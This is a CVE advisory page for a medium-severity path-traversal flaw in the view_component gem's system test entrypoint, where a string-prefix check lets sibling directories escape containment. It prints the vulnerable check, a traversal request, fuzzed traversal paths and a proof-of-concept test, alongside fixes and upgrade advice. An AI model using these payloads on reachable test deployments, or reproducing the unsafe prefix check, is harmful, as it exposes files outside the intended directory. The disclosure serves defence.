CVE-2026-44837 — Vulnerability in view_component — CVE Details
MEDIUM
view_component: System Test Entry Point Path Check Allows Sibling Directory Escape
Published May 8, 2026Updated September 10, 2026Source: osv
Summary
### Summary
The system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.
Severity: Medium; test-route scoped.
Example:
```text
Allowed base: /app/tmp/view_components
Outside path: /app/tmp/view_components_evil/secret.html.erb
```
The outside path is not inside the base directory, but it passes:
```ruby
@path.start_with?(base_path)
```
### Relevant Code
`app/controllers/view_components_system_test_controller.rb`:
```ruby
base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)
```
The route then renders the resolved file:
```ruby
render file: @path
```
### Exploit Flow
Example request:
```text
GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb
```
Flow:
1. `base_path` resolves to `.../tmp/view_components`.
2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`.
3. That path is outside the intended temp directory.
4. The string prefix check still passes.
5. Rails renders the sibling file.
The route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.
### Targeted Fuzz Result
The following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory:
```text
../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html
```
### PoC Test
Create `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`:
```ruby
# frozen_string_literal: true
require "test_helper"
require "fileutils"
class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
parent_dir = File.dirname(base_dir)
sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
outside_file = File.join(sibling_dir, "secret.html.erb")
FileUtils.mkdir_p(sibling_dir)
File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")
get "/_system_test_entrypoint", params: {
file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
}
assert_response :success
assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
ensure
FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
end
end
```
Run:
```bash
bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb
```
Vulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`.
Fixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file.
### Suggested Fix
Use path-aware containment instead of a raw string prefix. For example:
```ruby
def validate_file_path
base_path = Pathname.new(::File.realpath(self.class.temp_dir))
path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
relative_path = path.relative_path_from(base_path)
raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."
@path = path.to_s
end
```
Or require a separator boundary:
```ruby
allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
raise ViewComponent::SystemTestControllerNefariousPathError
end
```
Add regression tests for:
- A normal temp file inside `tmp/view_components`
- `../../README.md`
- `../view_components_evil/secret.html.erb`
- A symlink inside the temp directory that resolves outside it
Advisory Timeline
First published May 8, 2026 (156 days ago).
Last revised September 10, 2026 — 124 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
Bundler
Update view_component to 4.9.0 or later
gem install view_component -v 4.9.0
After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.
view_component: System Test Entry Point Path Check Allows Sibling Directory Escape This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 5.9/10).
How do I check if my project is affected by CVE-2026-44837?
CVE-2026-44837 affects view_component. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44837 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
5.9
Exploitation requires specific conditions or has limited impact. Remediate within weeks.